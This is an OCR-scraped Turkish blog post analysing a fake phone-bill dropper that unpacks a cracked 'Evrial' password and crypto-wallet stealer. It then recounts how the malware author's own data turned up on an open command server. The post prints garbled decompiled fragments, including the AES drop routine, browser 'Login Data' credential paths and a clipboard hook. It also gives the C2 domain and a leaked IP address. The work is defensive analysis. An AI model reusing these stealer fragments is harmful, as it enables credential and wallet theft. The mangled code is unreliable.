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If you are looking for an English version of this article, please visit here.

Sosyal medyada, aglarda siber glivenlik uzmanlarini takip ettiginizde veya
siber givenlik ile ilgili sunumlara g6z attiginizda kimi zaman “OPSEC FAIL”
seklinde ibarelere rastlarsiniz. Buralarda cogunluklukla APT gruplari
tarafindan ve/veya zararli yazilim gelistiricileri tarafindan yapilan oOnemli
operasyonel hatalara dikkat c¢ekilir. Nedir bu OPSEC diye merak edenleriniz
icin operasyon givenligi (OPSEC), gerceklestirilen operasyona dair kritik
bilgilerin korunarak karsi istihbarat birimleri tarafindan ele gec¢irilmesini

engellemektir.

2-4 Ekim 2019 tarihinde Londra’da katildigaim Virus Bulletin etkinliginde
Kaspersky tarafindan gerceklestirilen Who is SandCat: an unveiling of a
lesser-known threat actor baslikli sunumda, Ozbekistan istihbarat birimi
oldugu distnilen SandCat grubunun yaptigi OPSEC hatalarina yer verildi.
Telemetry 6zelligi aktif olan Kaspersky Antivirds yazilimi yukld sistemlerde
0. glin istismar kodlarini test eden grubun bu testlerde kullandigi komuta
kontrol merkezinin adresini askeri birimin adiyla (Military Unit 02616) kayit
etmis olmasi, bu grubun OPSEC konusunu pek onemsemedigine isaret ediyordu.
Firsattan istifade etmeyi bilen Kaspersky arastirmacilari bu grup tarafindan
kullanilan 0. gun istismar kodlarini Kaskersky Antivirus yuklu sistemden

alip, analiz edebilmisti.

VirusTotal Uzerinde firsat buldukca tehdit avina c¢ikan bir siber guvenlik
arastirmacisi olarak gectigimiz aylarda ben de OPSEC konusuna dikkat etmeyen

bir zararli yazilim gelistiricisi ile karsilastam.


https://www.mertsarica.com/opsec/
https://www.mertsarica.com/opsec/
https://www.mertsarica.com/opsec-fail/
https://en.wikipedia.org/wiki/Operations_security
https://www.virusbulletin.com/conference/vb2019/
https://www.vice.com/en_us/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec
https://www.virustotal.com
https://www.mertsarica.com/virustotal-ile-tehdit-avi/
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fatural.exe isimli zararli yazilimi analiz sistemimde calistirdigimda karsima

sahte bir telefon faturasi ve uyari mesaji ¢ikti. fatural.exe dosyasini RDG

Packer Detector araci ile inceledigimde aracin C# programlama dili ile

gelistirildigini 6grendim. ILSpy kaynak kodu ceviricisi ile kodlara kisaca

g0z attigimda kodlarin gizlendigini (obfuscation) gérdim. Kaynak kodunu

okunakli hale getirmek i¢in ded4dot aracindan faydalandim.
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g DeleteFile(string) : bool
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& smethod_2(byte(]) : byte(]
& smethod_3(string) : string
& Class
# Class2 -

object[] array = object_8;
foreach (object obj2 in array)
1
try
{
if (obj2 is Classl)

Classl ficlass = (Classl)obj2;
byte[] byte_ = @class.byte 8;
if (f@class.bool 1)

byte_ = smethod_2(byte_);
1
if (f@class.bool_8)
{

byte_ = smethod_1(byte_ );

1
smethod_@(@class.string_ @, @class.bool_ 2, @class.int_@, @class.int

¥
else if (obj2 is Class2)

{

Class2 class2 = (Class2)obj2;

smethod_@(class2.string_1, class2.bool_@, class2.int_8, class2.int

b
else if (obj2 is Class3)

Class3 class3 = (Class3)obj2;

MessageBox.Show(class3.string I, class3.string 8, class3.messageBos>

. &

WLk WOm v 13:59

Kaynak koduna g6z attigimda AES ile sifrelenmis olan verileri c¢0zen

s method2() fonksiyonu dikkatimi c¢ekti. dnSpy hata ayiklayicisi ile Main()

fonksiyonunu adim adim analiz etmeye basladiktan kisa bir siire sonra

s method0@() fonksiyonunun sifrelenmis verileri ¢6zip byte 0 degiskenine

atadiktan sonra bunu bir dosyaya kaydedip calistirdigini farkettim. Bunu

ogrendikten sonra byte 0 degiskeninde yer alan veriyi diske kaydedip analiz

etmeye karar verdim.

28 Temmuz 2019 Pazar
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Class0()

DeleteFile(string) : bool

Main() : void

smethod_0(string, bool, int, int, bool, string, byte[]) : ve
_1(byte[]) : byte[]

e[]) : byte[]

string) : string

Base Types

Derived Types
bool 0:
bool1:
bool 2 :
bool_3:
bool 4 :
bool 5
bool 6
bool7:

bool
bool
bool
bool
bool
bool
bool
bool

File  Edit

Main() : void >

process? . WaitForExit();
if (int 1 »>= 3)

File.Delete(string_6);

}
1
¥
private static byte[] smethod_1(byte[] byte_&)
{
MemoryStream memoryStream = new MemoryStream();
int num = BitConverter.ToInt32(byte @, 8);
memoryStream.Write(byte_8, 4, byte_@.Length - 4);
byte[] array = new byte[num];
memoryStream.Position = @L;
new GZipStream(memoryStream, CompressionMode.Decompress).Read(array, 8, arr
return array;
}
private static byte[] smethod_2(byte[] byte_8)
1
byte[] array = new byte[16];
Buffer.BlockCopy(byte @, @, array, 8, 16);
Rijndael rijndael = Rijndael.Create();
byte[] array4 = rijndael.IV = (rijndael.Key = array);
MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndael.Createl
cryptoStream.Write(byte_®, 16, byte @.Length - 16);
cryptoStream.Close();
return memoryStream.ToArray();
}
private static string smethed_3(string string @)
1
return new string{(from c¢ in string @.Substring(1)
select (char)(c ~ (byte)string 8[@])).ToArray());
¥

[D11Import(“"kernel32.d11", CharSet = CharSet.Unicode)]
[return: MarshalAs(UnmanagedType.Bool )]
private static extern bool DeleteFile(string string_e);

e '
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te[] array = e[num];
memorystream. = 8L;
ipStream({memoryStream, CompressionMode.
array. b H

memoryStream. ) H

array;

=[] = _2(k

byte[] array = new byte[16];
(byte @, @, array, @

Rijndael rijndael = Rijndael. ;
rijndael. = (rijndael.
MemoryStream memoryStream
Cry tream cryptoStream Cry

rijndael.C yptor(), CryptoStream }s
cryptoStream. (byte_ @, 16, byte @. =k
cryptoStream.Close();

memoryStream. ToArray () ;

=[] byte_@)

0= @06000001
( , bool, int
(bytell): bytel]
(byte(l) : byte[]
(string) : 3
ct_0: object[] @04000001
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byte_0
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memaoryStream
cryptoStream
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=[0x00003DD0]
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System.Security. Cryptography.Rij
System.JO.MemoryStream

System.Security. Cryptography.Cry

daelManaged

ptoStream

Bu dosyayi da dnSpy ve ayrica ANY.RUN kum havuzu sistemi ile analiz ettigimde

Project Evrial isimli bir parola ve kripto para ciuzdani hirsizinin (stealer)

kirilmis surimu (cracked) oldugunu gordim.
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Evrial.Stealer

e<PassData>

List<PassData> list =
g environmentVariable =

2[] array - ing[]

environmentVariable + "\\Google
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\Opera Stable\\Login Data™,

environmentVariable

environmentVariable do
environmentVariable
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[stri basePath array)
List<PassDatar list2 =
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list2
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List<PassData>();
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\\Chrome\\User Data\\Default\\Login Data”,
} + "\\Opera softw

.SpecialFolder.

\Login Data",

Data\\ \Login Data”,

List<PassData>();

(basePath);



https://any.run/

a dnSpy v 4-bit, NET

File Edit View Q =) c# g p Stat | O
Assembly Explorer i SEEEE—  .cctor() : void
b @ fatural (0.0.0.0) =
A System Windows.Forms (4.0.0.0)
m.I0.Compression.FileSystem (4.0.0.0)
tem.Management (4.0.0.0)
m.Drawing (4.0.0.0)
mg3okeglmum (1.034)

= PE
P =B References
b} -
4 {} Evrial
b £, CoinType @02000008

@02000007
Ml Base Type and Interfaces
M Derived Types
@, 0: @06000015
¢ H : @O400000A
@04000007
Sitell 04000009
Version : @04000008
b {} Evrial.Cookies
P {} EvrialHardware
4 [} Evrial Stealer
b (@0200000A
b *%, FilezillaF

@02000010

02000013

@02000014
Sqlite @02000015

LilonE " o

Static Discovering p 4

3ytepucz.0.cs

> 3ytepucz.0.cs
A Dropped from process
21 Look up on VirusTotal

= Submit to analysis ¥ Download

Mime: text/plain
716 Kb

TrID - File Identifier Hashes

Text - UTF-§ encoded D5 | [©) 7B77E8328EB64CA2289809CEEBCECABY
5 D) 1EDCDC24CFBDGDAAFEFSRAZE1578751FA144D636
D) B94AAI3FASTB612B354F GCBBAEIADBA34D1ECE] 58T7TEAAMT2ENAST 1B290CEEFD
96 - JOF 1VBTgU2 A1GqwepRbBGaBAZDT IIZEFYyil TtBS jewheYe JDhKVRCNvUSXSp+U: yP1FYyil WeSYAgVRj

PREVIEW

Text

private static string text = "";

private static void Main(string[] args)
{
RawSettings.Owner = "XakFor.Net";
RawSettings.Version = "1.8.3%;
RawSettings .HWID = "EEEBSDS47880842A7B542739BBC26CF4B" ;

OnClipboardChange += ClipboardMonitor_OnClipboardChange;
Start():

public static void ClipboardMonitor_OnClipboardChange(ClipboardFormat format, object data)
{

try
{

if (format != ClipboardFormat.Text) return;
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This is a cracked stealer from a russian scammer. It can steal passwords and bitcoin wallets but the seller often didnit give his product to customers who paid so it
got cracked and leaked.
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Kometa (Passwords + Cookies) -
Amigo (Passwords + Cookies)
Torch (Passwords + Cookies)
Orbitum (Passwords + Cookies)
Comodo Dragon (Passwords + Cookies)
Yandex Browser (Passwords + Cookies)
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Folder  HAbWySIFl
Fie name  MBLxMGlexe

| Create
[AV Telogram Scaner] _ [XakFor Net]

Analiz neticesinde komuta kontrol merkezinin adresini (http://zmcoin.tk)
tespit ettikten sonra komuta kontrol merkezini ziyaret etmeye karar verdim.
Dizin listeme 06zelliginin (directory browsing) aktif olmasi sayesinde zararli
yazilim tarafindan calinan dosyalari klasdrde goérintileyebildim. Dosyalari
tarihe gore siralayip en eski tarihteki dosyayi indirip incelemeye
basladigimda art niyetli kisinin bu zararli yazilimi ilk olarak kendi test
sisteminde test ettigini gordim. Tabii bu test sistemi lzerinde sadece
zararli yazilimi test etmekle kalmayip sahsi islerini de gercgeklestirdigi
(OPSEC FAIL) icin zararli yazilaim isletim sistemi Uzerinde kendisine ait



isim, soyad, e-posta adresi vb. bilgileri de c¢almis ve kendi kazdigi kuyuya

kendisi dusmisti. :)
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Name Last modified Size Description

b 2019-05-03 16:22 ~
files zip 2019-07-04 15:27 1.2M
files’ 2019-07-23 03:57 -
shufflerphp 2018-02-24 22:46 1.1K
steal/ 2019-07-24 22:59 -
stealer 2018-02-24 22:46 =
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Index of /files
Name Last modified Size Description
Parent Directory. -

aipnse03z3.zip  2019-07-07 13:54 175K
bdcjatf#h03 zip  2019-07-07 14:01 180K
ceikxdibry0zip  2019-07-1221:27 18K
balzibwdzip 2019-07-08 21358 9.1K
201907082021 15K
2019-07-07 1636 24K
jdomwioqokl zip 2019-07-23 03:57 27K
Ipldeocf2dS zip  2019-07-06 19:49 218K
mbuckddpxtpzip 2019-07-07 15:12 327K

wlszip 2019-07-03 15:23 213K
2019-07-08 21:36 322K
2019-07-07 15:25 100K
quevhyhflguzip 2019-07-03 15:22 213K

tmp/ 2018-02-08 10:48 -
tvcb8mmTjm3.zip 2019-07-06 15:12 1.0K
upload php 2018-02-24 22:46 40K

vpsrawzalidzip 2019-07-07 14:01 208K
xucizwkdStkzip 2019-07-21 18:17 33K
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File Edit Format Wiew Help

User name:
i

Customer ID:

IP Address:
81.213.254.6
Language:

en

Disabled:

M

Created at:
2019-03-10 13:49:46
E-Mail:

First Name:
Last Name:

country:

TR

Grid ID:

1

Avatar First Name:

Av;tar Last Name:

Secret TIN:
Has traded:
N

Partner:

M

Grid Name:
s5L

Garid Long Name:

Grid cCurrency:
5LL

an email containing information for activating your acco

GOorulecegi Uzere operasyon givenligine onem vermeyen art niyetli kisiler
sayesinde gerceklestirilen siber operasyonlara ve operasyonu
gerceklestirenlere dair onemli bilgileri elde etmek mimkin olabilmektedir.

Bir sonraki yazida goOrismek dilegiyle herkese giuvenli gunler dilerim.



